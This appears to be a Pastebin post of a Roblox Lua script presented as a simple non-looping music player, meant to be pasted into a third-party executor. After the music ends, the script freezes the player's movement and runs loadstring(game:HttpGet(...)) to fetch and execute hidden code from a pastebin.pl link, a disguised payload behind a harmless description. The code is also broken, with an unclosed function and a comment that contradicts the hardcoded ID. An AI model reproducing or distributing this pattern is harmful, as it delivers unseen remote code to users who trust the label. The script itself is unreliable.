Advertisement
ILovePotato

Untitled

Nov 23rd, 2024
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. -- Non-Looping Music Player Script
  2. -- Paste this script into Delta Executor while running Roblox.
  3.  
  4. -- Define the asset ID of the music you want to play.
  5. local musicId = "17429233290" -- Replace YOUR_ASSET_ID with your music's asset ID.
  6.  
  7. -- Check if SoundService exists.
  8. local SoundService = game:GetService("SoundService")
  9. if not SoundService then
  10. warn("SoundService not found. Script cannot run.")
  11. return
  12. end
  13.  
  14. -- Create a new Sound object.
  15. local sound = Instance.new("Sound")
  16. sound.SoundId = 17429233290
  17. sound.Looped = false -- Ensure the music doesn't loop.
  18. sound.Volume = 1 -- Set volume (1 is default, adjust as needed).
  19.  
  20. -- Parent the sound to SoundService so it can play globally.
  21. sound.Parent = SoundService
  22.  
  23. -- Play the sound.
  24. sound:Play()
  25.  
  26. -- Automatically clean up the sound after it finishes.
  27. sound.Ended:Connect(function()
  28. sound:Destroy()
  29. print("Music has finished playing and was removed.")
  30. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 0
  31. local player = game.Players.LocalPlayer
  32. repeat wait() until player.Character.Humanoid
  33. local humanoid = player.Character.Humanoid
  34. local character = player.Character or player.CharacterAdded:Wait()
  35. local UserInputService = game:GetService("UserInputService")
  36.  
  37. loadstring(game:HttpGet("https://pastebin.pl/view/raw/36f3de44"))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement